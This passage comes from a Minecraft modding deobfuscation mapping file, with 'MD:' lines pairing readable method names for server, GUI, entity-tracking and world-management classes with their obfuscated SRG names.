()V net/minecraft/util/ITickable/func_73660_a ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/loadOpsList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_72417_t ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/saveOpsList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_72419_u ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/readWhiteList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_72418_v ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/saveWhiteList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_72421_w ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/loadWhiteList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_72362_j ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/addOp (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/dedicated/DedicatedPlayerList/func_152605_a (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/setWhiteListEnabled (Z)V net/minecraft/server/dedicated/DedicatedPlayerList/func_72371_a (Z)V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/getServerInstance ()Lnet/minecraft/server/dedicated/DedicatedServer; net/minecraft/server/dedicated/DedicatedPlayerList/func_72365_p ()Lnet/minecraft/server/dedicated/DedicatedServer; +MD: net/minecraft/server/dedicated/DedicatedPlayerList/removeOp (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/dedicated/DedicatedPlayerList/func_152610_b (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/getServerInstance ()Lnet/minecraft/server/MinecraftServer; net/minecraft/server/dedicated/DedicatedPlayerList/func_72365_p ()Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/server/dedicated/DedicatedPlayerList/removePlayerFromWhitelist (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/dedicated/DedicatedPlayerList/func_152597_c (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/addWhitelistedPlayer (Lcom/mojang/authlib/GameProfile;)V net/minecraft/server/dedicated/DedicatedPlayerList/func_152601_d (Lcom/mojang/authlib/GameProfile;)V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/canJoin (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/dedicated/DedicatedPlayerList/func_152607_e (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/dedicated/DedicatedPlayerList/bypassesPlayerLimit (Lcom/mojang/authlib/GameProfile;)Z net/minecraft/server/dedicated/DedicatedPlayerList/func_183023_f (Lcom/mojang/authlib/GameProfile;)Z +MD: net/minecraft/server/dedicated/DedicatedPlayerList/saveIpBanList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_152618_v ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/saveUserBanList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_152617_w ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/loadIpBanList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_152619_x ()V +MD: net/minecraft/server/dedicated/DedicatedPlayerList/loadUserBansList ()V net/minecraft/server/dedicated/DedicatedPlayerList/func_152620_y ()V +MD: net/minecraft/server/dedicated/DedicatedServer$1/run ()V net/minecraft/server/dedicated/DedicatedServer$1/run ()V +MD: net/minecraft/server/dedicated/DedicatedServer$2/run ()V net/minecraft/server/dedicated/DedicatedServer$2/run ()V +MD: net/minecraft/server/dedicated/DedicatedServer$3/call ()Ljava/lang/String; net/minecraft/server/dedicated/DedicatedServer$3/call ()Ljava/lang/String; +MD: net/minecraft/server/dedicated/DedicatedServer$3/call ()Ljava/lang/Object; net/minecraft/server/dedicated/DedicatedServer$3/call ()Ljava/lang/Object; +MD: net/minecraft/server/dedicated/DedicatedServer$4/call ()Ljava/lang/String; net/minecraft/server/dedicated/DedicatedServer$4/call ()Ljava/lang/String; +MD: net/minecraft/server/dedicated/DedicatedServer$4/call ()Ljava/lang/Object; net/minecraft/server/dedicated/DedicatedServer$4/call ()Ljava/lang/Object; +MD: net/minecraft/server/dedicated/DedicatedServer/updateTimeLightAndEntities ()V net/minecraft/server/dedicated/DedicatedServer/func_71190_q ()V +MD: net/minecraft/server/dedicated/DedicatedServer/getAllowNether ()Z net/minecraft/server/dedicated/DedicatedServer/func_71255_r ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/allowSpawnMonsters ()Z net/minecraft/server/dedicated/DedicatedServer/func_71193_K ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/saveProperties ()V net/minecraft/server/dedicated/DedicatedServer/func_71326_a ()V +MD: net/minecraft/server/dedicated/DedicatedServer/isBlockProtected (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/server/dedicated/DedicatedServer/func_175579_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/server/dedicated/DedicatedServer/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/server/dedicated/DedicatedServer/func_71235_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/server/dedicated/DedicatedServer/shareToLAN (Lnet/minecraft/world/WorldSettings$GameType;Z)Ljava/lang/String; net/minecraft/server/dedicated/DedicatedServer/func_71206_a (Lnet/minecraft/world/WorldSettings$GameType;Z)Ljava/lang/String; +MD: net/minecraft/server/dedicated/DedicatedServer/finalTick (Lnet/minecraft/crash/CrashReport;)V net/minecraft/server/dedicated/DedicatedServer/func_71228_a (Lnet/minecraft/crash/CrashReport;)V +MD: net/minecraft/server/dedicated/DedicatedServer/getIntProperty (Ljava/lang/String;I)I net/minecraft/server/dedicated/DedicatedServer/func_71327_a (Ljava/lang/String;I)I +MD: net/minecraft/server/dedicated/DedicatedServer/setProperty (Ljava/lang/String;Ljava/lang/Object;)V net/minecraft/server/dedicated/DedicatedServer/func_71328_a (Ljava/lang/String;Ljava/lang/Object;)V +MD: net/minecraft/server/dedicated/DedicatedServer/getStringProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; net/minecraft/server/dedicated/DedicatedServer/func_71330_a (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/server/dedicated/DedicatedServer/addPendingCommand (Ljava/lang/String;Lnet/minecraft/command/ICommandSender;)V net/minecraft/server/dedicated/DedicatedServer/func_71331_a (Ljava/lang/String;Lnet/minecraft/command/ICommandSender;)V +MD: net/minecraft/server/dedicated/DedicatedServer/getBooleanProperty (Ljava/lang/String;Z)Z net/minecraft/server/dedicated/DedicatedServer/func_71332_a (Ljava/lang/String;Z)Z +MD: net/minecraft/server/dedicated/DedicatedServer/addServerStatsToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/server/dedicated/DedicatedServer/func_70000_a (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/server/dedicated/DedicatedServer/isAnnouncingPlayerAchievements ()Z net/minecraft/server/dedicated/DedicatedServer/func_147136_ar ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/getMaxWorldSize ()I net/minecraft/server/dedicated/DedicatedServer/func_175580_aG ()I +MD: net/minecraft/server/dedicated/DedicatedServer/getNetworkCompressionTreshold ()I net/minecraft/server/dedicated/DedicatedServer/func_175577_aI ()I +MD: net/minecraft/server/dedicated/DedicatedServer/executePendingCommands ()V net/minecraft/server/dedicated/DedicatedServer/func_71333_ah ()V +MD: net/minecraft/server/dedicated/DedicatedServer/getConfigurationManager ()Lnet/minecraft/server/dedicated/DedicatedPlayerList; net/minecraft/server/dedicated/DedicatedServer/func_71203_ab ()Lnet/minecraft/server/dedicated/DedicatedPlayerList; +MD: net/minecraft/server/dedicated/DedicatedServer/setGuiEnabled ()V net/minecraft/server/dedicated/DedicatedServer/func_120011_ar ()V +MD: net/minecraft/server/dedicated/DedicatedServer/convertFiles ()Z net/minecraft/server/dedicated/DedicatedServer/func_152368_aE ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/getMaxTickTime ()J net/minecraft/server/dedicated/DedicatedServer/func_175593_aQ ()J +MD: net/minecraft/server/dedicated/DedicatedServer/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/server/dedicated/DedicatedServer/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/server/dedicated/DedicatedServer/sleepFiveSeconds ()V net/minecraft/server/dedicated/DedicatedServer/func_152369_aG ()V +MD: net/minecraft/server/dedicated/DedicatedServer/handleRConCommand (Ljava/lang/String;)Ljava/lang/String; net/minecraft/server/dedicated/DedicatedServer/func_71252_i (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/server/dedicated/DedicatedServer/isSnooperEnabled ()Z net/minecraft/server/dedicated/DedicatedServer/func_70002_Q ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/isDedicatedServer ()Z net/minecraft/server/dedicated/DedicatedServer/func_71262_S ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/shouldUseNativeTransport ()Z net/minecraft/server/dedicated/DedicatedServer/func_181035_ah ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/isCommandBlockEnabled ()Z net/minecraft/server/dedicated/DedicatedServer/func_82356_Z ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/getConfigurationManager ()Lnet/minecraft/server/management/ServerConfigurationManager; net/minecraft/server/dedicated/DedicatedServer/func_71203_ab ()Lnet/minecraft/server/management/ServerConfigurationManager; +MD: net/minecraft/server/dedicated/DedicatedServer/getGuiEnabled ()Z net/minecraft/server/dedicated/DedicatedServer/func_71279_ae ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/getSpawnProtectionSize ()I net/minecraft/server/dedicated/DedicatedServer/func_82357_ak ()I +MD: net/minecraft/server/dedicated/DedicatedServer/getSettingsFilename ()Ljava/lang/String; net/minecraft/server/dedicated/DedicatedServer/func_71329_c ()Ljava/lang/String; +MD: net/minecraft/server/dedicated/DedicatedServer/addServerInfoToCrashReport (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; net/minecraft/server/dedicated/DedicatedServer/func_71230_b (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; +MD: net/minecraft/server/dedicated/DedicatedServer/setPlayerIdleTimeout (I)V net/minecraft/server/dedicated/DedicatedServer/func_143006_e (I)V +MD: net/minecraft/server/dedicated/DedicatedServer/getPlugins ()Ljava/lang/String; net/minecraft/server/dedicated/DedicatedServer/func_71258_A ()Ljava/lang/String; +MD: net/minecraft/server/dedicated/DedicatedServer/startServer ()Z net/minecraft/server/dedicated/DedicatedServer/func_71197_b ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/canStructuresSpawn ()Z net/minecraft/server/dedicated/DedicatedServer/func_71225_e ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/server/dedicated/DedicatedServer/func_71265_f ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/server/dedicated/DedicatedServer/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/server/dedicated/DedicatedServer/func_147135_j ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/server/dedicated/DedicatedServer/isHardcore ()Z net/minecraft/server/dedicated/DedicatedServer/func_71199_h ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/getOpPermissionLevel ()I net/minecraft/server/dedicated/DedicatedServer/func_110455_j ()I +MD: net/minecraft/server/dedicated/DedicatedServer/shouldBroadcastRconToOps ()Z net/minecraft/server/dedicated/DedicatedServer/func_181034_q ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/shouldBroadcastConsoleToOps ()Z net/minecraft/server/dedicated/DedicatedServer/func_183002_r ()Z +MD: net/minecraft/server/dedicated/DedicatedServer/systemExitNow ()V net/minecraft/server/dedicated/DedicatedServer/func_71240_o ()V +MD: net/minecraft/server/dedicated/ServerHangWatchdog$1/run ()V net/minecraft/server/dedicated/ServerHangWatchdog$1/run ()V +MD: net/minecraft/server/dedicated/ServerHangWatchdog/scheduleHalt ()V net/minecraft/server/dedicated/ServerHangWatchdog/func_180248_a ()V +MD: net/minecraft/server/dedicated/ServerHangWatchdog/run ()V net/minecraft/server/dedicated/ServerHangWatchdog/run ()V +MD: net/minecraft/server/gui/MinecraftServerGui$1/windowClosing (Ljava/awt/event/WindowEvent;)V net/minecraft/server/gui/MinecraftServerGui$1/windowClosing (Ljava/awt/event/WindowEvent;)V +MD: net/minecraft/server/gui/MinecraftServerGui$2/actionPerformed (Ljava/awt/event/ActionEvent;)V net/minecraft/server/gui/MinecraftServerGui$2/actionPerformed (Ljava/awt/event/ActionEvent;)V +MD: net/minecraft/server/gui/MinecraftServerGui$3/focusGained (Ljava/awt/event/FocusEvent;)V net/minecraft/server/gui/MinecraftServerGui$3/focusGained (Ljava/awt/event/FocusEvent;)V +MD: net/minecraft/server/gui/MinecraftServerGui$4/run ()V net/minecraft/server/gui/MinecraftServerGui$4/run ()V +MD: net/minecraft/server/gui/MinecraftServerGui$5/run ()V net/minecraft/server/gui/MinecraftServerGui$5/run ()V +MD: net/minecraft/server/gui/MinecraftServerGui/getStatsComponent ()Ljavax/swing/JComponent; net/minecraft/server/gui/MinecraftServerGui/func_120019_b ()Ljavax/swing/JComponent; +MD: net/minecraft/server/gui/MinecraftServerGui/func_164247_a (Ljavax/swing/JTextArea;Ljavax/swing/JScrollPane;Ljava/lang/String;)V net/minecraft/server/gui/MinecraftServerGui/func_164247_a (Ljavax/swing/JTextArea;Ljavax/swing/JScrollPane;Ljava/lang/String;)V +MD: net/minecraft/server/gui/MinecraftServerGui/createServerGui (Lnet/minecraft/server/dedicated/DedicatedServer;)V net/minecraft/server/gui/MinecraftServerGui/func_120016_a (Lnet/minecraft/server/dedicated/DedicatedServer;)V +MD: net/minecraft/server/gui/MinecraftServerGui/access$000 (Lnet/minecraft/server/gui/MinecraftServerGui;)Lnet/minecraft/server/dedicated/DedicatedServer; net/minecraft/server/gui/MinecraftServerGui/access$000 (Lnet/minecraft/server/gui/MinecraftServerGui;)Lnet/minecraft/server/dedicated/DedicatedServer; +MD: net/minecraft/server/gui/MinecraftServerGui/getPlayerListComponent ()Ljavax/swing/JComponent; net/minecraft/server/gui/MinecraftServerGui/func_120020_c ()Ljavax/swing/JComponent; +MD: net/minecraft/server/gui/MinecraftServerGui/getLogComponent ()Ljavax/swing/JComponent; net/minecraft/server/gui/MinecraftServerGui/func_120018_d ()Ljavax/swing/JComponent; +MD: net/minecraft/server/gui/PlayerListComponent/update ()V net/minecraft/server/gui/PlayerListComponent/func_73660_a ()V +MD: net/minecraft/server/gui/StatsComponent$1/actionPerformed (Ljava/awt/event/ActionEvent;)V net/minecraft/server/gui/StatsComponent$1/actionPerformed (Ljava/awt/event/ActionEvent;)V +MD: net/minecraft/server/gui/StatsComponent/func_120034_a ()V net/minecraft/server/gui/StatsComponent/func_120034_a ()V +MD: net/minecraft/server/gui/StatsComponent/access$000 (Lnet/minecraft/server/gui/StatsComponent;)V net/minecraft/server/gui/StatsComponent/access$000 (Lnet/minecraft/server/gui/StatsComponent;)V +MD: net/minecraft/server/gui/StatsComponent/func_120035_a ([J)D net/minecraft/server/gui/StatsComponent/func_120035_a ([J)D +MD: net/minecraft/server/gui/StatsComponent/paint (Ljava/awt/Graphics;)V net/minecraft/server/gui/StatsComponent/paint (Ljava/awt/Graphics;)V +MD: net/minecraft/client/renderer/DestroyBlockProgress/setPartialBlockDamage (I)V net/minecraft/client/renderer/DestroyBlockProgress/func_73107_a (I)V +MD: net/minecraft/client/renderer/DestroyBlockProgress/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/client/renderer/DestroyBlockProgress/func_180246_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/client/renderer/DestroyBlockProgress/setCloudUpdateTick (I)V net/minecraft/client/renderer/DestroyBlockProgress/func_82744_b (I)V +MD: net/minecraft/client/renderer/DestroyBlockProgress/getPartialBlockDamage ()I net/minecraft/client/renderer/DestroyBlockProgress/func_73106_e ()I +MD: net/minecraft/client/renderer/DestroyBlockProgress/getCreationCloudUpdateTick ()I net/minecraft/client/renderer/DestroyBlockProgress/func_82743_f ()I +MD: net/minecraft/world/demo/DemoWorldManager/updateBlockRemoving ()V net/minecraft/world/demo/DemoWorldManager/func_73075_a ()V +MD: net/minecraft/world/demo/DemoWorldManager/blockRemoving (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/demo/DemoWorldManager/func_180785_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/demo/DemoWorldManager/onBlockClicked (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V net/minecraft/world/demo/DemoWorldManager/func_180784_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/world/demo/DemoWorldManager/tryUseItem (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;)Z net/minecraft/world/demo/DemoWorldManager/func_73085_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/world/demo/DemoWorldManager/activateBlockOrUseItem (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/world/demo/DemoWorldManager/func_180236_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/world/demo/DemoWorldManager/tryHarvestBlock (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/demo/DemoWorldManager/func_180237_b (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/demo/DemoWorldManager/sendDemoReminder ()V net/minecraft/world/demo/DemoWorldManager/func_73101_e ()V +MD: net/minecraft/world/WorldServerMulti$1/onSizeChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/world/WorldServerMulti$1/func_177694_a (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/world/WorldServerMulti$1/onCenterChanged (Lnet/minecraft/world/border/WorldBorder;DD)V net/minecraft/world/WorldServerMulti$1/func_177693_a (Lnet/minecraft/world/border/WorldBorder;DD)V +MD: net/minecraft/world/WorldServerMulti$1/onTransitionStarted (Lnet/minecraft/world/border/WorldBorder;DDJ)V net/minecraft/world/WorldServerMulti$1/func_177692_a (Lnet/minecraft/world/border/WorldBorder;DDJ)V +MD: net/minecraft/world/WorldServerMulti$1/onWarningTimeChanged (Lnet/minecraft/world/border/WorldBorder;I)V net/minecraft/world/WorldServerMulti$1/func_177691_a (Lnet/minecraft/world/border/WorldBorder;I)V +MD: net/minecraft/world/WorldServerMulti$1/onDamageAmountChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/world/WorldServerMulti$1/func_177696_b (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/world/WorldServerMulti$1/onWarningDistanceChanged (Lnet/minecraft/world/border/WorldBorder;I)V net/minecraft/world/WorldServerMulti$1/func_177690_b (Lnet/minecraft/world/border/WorldBorder;I)V +MD: net/minecraft/world/WorldServerMulti$1/onDamageBufferChanged (Lnet/minecraft/world/border/WorldBorder;D)V net/minecraft/world/WorldServerMulti$1/func_177695_c (Lnet/minecraft/world/border/WorldBorder;D)V +MD: net/minecraft/world/WorldServerMulti/saveLevel ()V net/minecraft/world/WorldServerMulti/func_73042_a ()V +MD: net/minecraft/world/WorldServerMulti/init ()Lnet/minecraft/world/World; net/minecraft/world/WorldServerMulti/func_175643_b ()Lnet/minecraft/world/World; +MD: net/minecraft/command/ICommandManager/getCommands ()Ljava/util/Map; net/minecraft/command/ICommandManager/func_71555_a ()Ljava/util/Map; +MD: net/minecraft/command/ICommandManager/getPossibleCommands (Lnet/minecraft/command/ICommandSender;)Ljava/util/List; net/minecraft/command/ICommandManager/func_71557_a (Lnet/minecraft/command/ICommandSender;)Ljava/util/List; +MD: net/minecraft/command/ICommandManager/executeCommand (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)I net/minecraft/command/ICommandManager/func_71556_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)I +MD: net/minecraft/command/ICommandManager/getTabCompletionOptions (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/ICommandManager/func_180524_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/entity/EntityTracker$1/call ()Ljava/lang/String; net/minecraft/entity/EntityTracker$1/call ()Ljava/lang/String; +MD: net/minecraft/entity/EntityTracker$1/call ()Ljava/lang/Object; net/minecraft/entity/EntityTracker$1/call ()Ljava/lang/Object; +MD: net/minecraft/entity/EntityTracker/updateTrackedEntities ()V net/minecraft/entity/EntityTracker/func_72788_a ()V +MD: net/minecraft/entity/EntityTracker/func_180245_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/entity/EntityTracker/func_180245_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/entity/EntityTracker/func_85172_a (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/entity/EntityTracker/func_85172_a (Lnet/minecraft/entity/player/EntityPlayerMP;Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/entity/EntityTracker/trackEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityTracker/func_72786_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityTracker/trackEntity (Lnet/minecraft/entity/Entity;II)V net/minecraft/entity/EntityTracker/func_72791_a (Lnet/minecraft/entity/Entity;II)V +MD: net/minecraft/entity/EntityTracker/addEntityToTracker (Lnet/minecraft/entity/Entity;IIZ)V net/minecraft/entity/EntityTracker/func_72785_a (Lnet/minecraft/entity/Entity;IIZ)V +MD: net/minecraft/entity/EntityTracker/sendToAllTrackingEntity (Lnet/minecraft/entity/Entity;Lnet/minecraft/network/Packet;)V net/minecraft/entity/EntityTracker/func_151247_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/network/Packet;)V +MD: net/minecraft/entity/EntityTracker/removePlayerFromTrackers (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/entity/EntityTracker/func_72787_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/entity/EntityTracker/untrackEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityTracker/func_72790_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityTracker/func_151248_b (Lnet/minecraft/entity/Entity;Lnet/minecraft/network/Packet;)V net/minecraft/entity/EntityTracker/func_151248_b (Lnet/minecraft/entity/Entity;Lnet/minecraft/network/Packet;)V +MD: net/minecraft/world/WorldManager/markBlockRangeForRenderUpdate (IIIIII)V net/minecraft/world/WorldManager/func_147585_a (IIIIII)V +MD: net/minecraft/world/WorldManager/broadcastSound (ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/WorldManager/func_180440_a (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/WorldManager/spawnParticle (IZDDDDDD[I)V net/minecraft/world/WorldManager/func_180442_a (IZDDDDDD[I)V +MD: net/minecraft/world/WorldManager/markBlockForUpdate (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/WorldManager/func_174960_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/WorldManager/playSound (Ljava/lang/String;DDDFF)V net/minecraft/world/WorldManager/func_72704_a (Ljava/lang/String;DDDFF)V +MD: net/minecraft/world/WorldManager/playRecord (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/WorldManager/func_174961_a (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/WorldManager/onEntityAdded (Lnet/minecraft/entity/Entity;)V net/minecraft/world/WorldManager/func_72703_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/WorldManager/playAuxSFX (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/WorldManager/func_180439_a (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/WorldManager/playSoundToNearExcept (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;DDDFF)V net/minecraft/world/WorldManager/func_85102_a (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;DDDFF)V +MD: net/minecraft/world/WorldManager/sendBlockBreakProgress (ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/WorldManager/func_180441_b (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/WorldManager/notifyLightSet (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/WorldManager/func_174959_b (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/WorldManager/onEntityRemoved (Lnet/minecraft/entity/Entity;)V net/minecraft/world/WorldManager/func_72709_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/processChunk ()V net/minecraft/server/management/PlayerManager$PlayerInstance/func_111194_a ()V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/flagChunkForUpdate (III)V net/minecraft/server/management/PlayerManager$PlayerInstance/func_151253_a (III)V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/sendTileToAllPlayersWatchingChunk (Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/server/management/PlayerManager$PlayerInstance/func_151252_a (Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/increaseInhabitedTime (Lnet/minecraft/world/chunk/Chunk;)V net/minecraft/server/management/PlayerManager$PlayerInstance/func_111196_a (Lnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/sendToAllPlayersWatchingChunk (Lnet/minecraft/network/Packet;)V net/minecraft/server/management/PlayerManager$PlayerInstance/func_151251_a (Lnet/minecraft/network/Packet;)V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/access$500 (Lnet/minecraft/server/management/PlayerManager$PlayerInstance;)Lnet/minecraft/world/ChunkCoordIntPair; net/minecraft/server/management/PlayerManager$PlayerInstance/access$500 (Lnet/minecraft/server/management/PlayerManager$PlayerInstance;)Lnet/minecraft/world/ChunkCoordIntPair; +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/addPlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/PlayerManager$PlayerInstance/func_73255_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/onUpdate ()V net/minecraft/server/management/PlayerManager$PlayerInstance/func_73254_a ()V +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/access$600 (Lnet/minecraft/server/management/PlayerManager$PlayerInstance;)Ljava/util/List; net/minecraft/server/management/PlayerManager$PlayerInstance/access$600 (Lnet/minecraft/server/management/PlayerManager$PlayerInstance;)Ljava/util/List; +MD: net/minecraft/server/management/PlayerManager$PlayerInstance/removePlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/PlayerManager$PlayerInstance/func_73252_b (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/PlayerManager/getWorldServer ()Lnet/minecraft/world/WorldServer; net/minecraft/server/management/PlayerManager/func_72688_a ()Lnet/minecraft/world/WorldServer; +MD: net/minecraft/server/management/PlayerManager/setPlayerViewRadius (I)V net/minecraft/server/management/PlayerManager/func_152622_a (I)V +MD: net/minecraft/server/management/PlayerManager/hasPlayerInstance (II)Z net/minecraft/server/management/PlayerManager/func_152621_a (II)Z +MD: net/minecraft/server/management/PlayerManager/overlaps (IIIII)Z net/minecraft/server/management/PlayerManager/func_72684_a (IIIII)Z +MD: net/minecraft/server/management/PlayerManager/getPlayerInstance (IIZ)Lnet/minecraft/server/management/PlayerManager$PlayerInstance; net/minecraft/server/management/PlayerManager/func_72690_a (IIZ)Lnet/minecraft/server/management/PlayerManager$PlayerInstance; +MD: net/minecraft/server/management/PlayerManager/markBlockForUpdate (Lnet/minecraft/util/BlockPos;)V net/minecraft/server/management/PlayerManager/func_180244_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/server/management/PlayerManager/access$100 (Lnet/minecraft/server/management/PlayerManager;)Lnet/minecraft/world/WorldServer; net/minecraft/server/management/PlayerManager/access$100 (Lnet/minecraft/server/management/PlayerManager;)Lnet/minecraft/world/WorldServer; +MD: net/minecraft/server/management/PlayerManager/addPlayer (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/management/PlayerManager/func_72683_a (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/management/PlayerManager/isPlayerWatchingChunk (Lnet/minecraft/entity/player/EntityPlayerMP;II)Z net/minecraft/server/management/PlayerManager/func_72694_a (Lnet/minecraft/entity/player/EntityPlayerMP;II)Z +MD: net/minecraft/server/management/PlayerManager/updatePlayerInstances ()V net/minecraft/server/management/PlayerManager/func_72693_b ()V +MD: 